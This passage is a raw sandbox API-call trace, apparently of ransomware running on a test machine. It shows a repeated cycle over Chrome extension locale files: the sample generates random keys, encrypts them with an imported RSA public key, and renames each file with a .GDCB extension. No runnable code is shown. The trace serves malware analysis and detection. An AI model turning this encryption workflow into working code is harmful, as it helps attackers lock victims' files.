pdwDataLen=0x285cd14*=0x4) returned 1 [0259.824] CryptEncrypt (in: hKey=0x67924e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.825] GetLastError () returned 0x0 [0259.825] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.825] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.827] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792b60) returned 1 [0259.827] CryptGetKeyParam (in: hKey=0x6792b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.827] CryptEncrypt (in: hKey=0x6792b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.827] GetLastError () returned 0x0 [0259.827] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.827] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.828] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.833] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfd, lpOverlapped=0x0) returned 1 [0259.841] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.848] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0259.853] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.858] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.858] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.862] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.862] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.862] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.864] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792fa0) returned 1 [0259.864] CryptGetKeyParam (in: hKey=0x6792fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.864] CryptEncrypt (in: hKey=0x6792fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.865] GetLastError () returned 0x0 [0259.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.865] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.866] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792c20) returned 1 [0259.866] CryptGetKeyParam (in: hKey=0x6792c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.866] CryptEncrypt (in: hKey=0x6792c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.867] GetLastError () returned 0x0 [0259.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.867] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.868] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.870] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.872] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x164, lpOverlapped=0x0) returned 1 [0259.881] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.887] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0259.893] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.896] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.898] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.898] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.898] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.903] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.903] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.903] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.905] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792960) returned 1 [0259.905] CryptGetKeyParam (in: hKey=0x6792960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.905] CryptEncrypt (in: hKey=0x6792960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.906] GetLastError () returned 0x0 [0259.906] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.908] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67929a0) returned 1 [0259.908] CryptGetKeyParam (in: hKey=0x67929a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.908] CryptEncrypt (in: hKey=0x67929a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.908] GetLastError () returned 0x0 [0259.908] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.912] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.914] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10e, lpOverlapped=0x0) returned 1 [0259.923] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.929] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0259.935] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0259.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.941] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.941] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.941] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.947] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.947] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.947] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.947] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.949] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792ea0) returned 1 [0259.950] CryptGetKeyParam (in: hKey=0x6792ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.950] CryptEncrypt (in: hKey=0x6792ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.950] GetLastError () returned 0x0 [0259.950] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.950] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.952] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792e20) returned 1 [0259.952] CryptGetKeyParam (in: hKey=0x6792e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.952] CryptEncrypt (in: hKey=0x6792e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.952] GetLastError () returned 0x0 [0259.952] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.952] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.954] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0259.957] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0259.960] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x161, lpOverlapped=0x0) returned 1 [0259.969] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0259.976] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0259.981] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0259.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.987] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0259.987] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0259.987] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0259.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0259.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0259.992] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0259.992] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.992] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0259.995] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792a60) returned 1 [0259.995] CryptGetKeyParam (in: hKey=0x6792a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.995] CryptEncrypt (in: hKey=0x6792a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0259.995] GetLastError () returned 0x0 [0259.995] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0259.995] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0259.997] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792aa0) returned 1 [0259.997] CryptGetKeyParam (in: hKey=0x6792aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0259.997] CryptEncrypt (in: hKey=0x6792aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0259.998] GetLastError () returned 0x0 [0259.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0259.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0259.999] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.052] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x117, lpOverlapped=0x0) returned 1 [0260.061] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.077] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0260.082] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0260.086] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.088] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.088] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0260.088] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.088] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0260.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.093] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.093] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0260.093] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.093] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0260.096] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792ae0) returned 1 [0260.096] CryptGetKeyParam (in: hKey=0x6792ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.096] CryptEncrypt (in: hKey=0x6792ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, 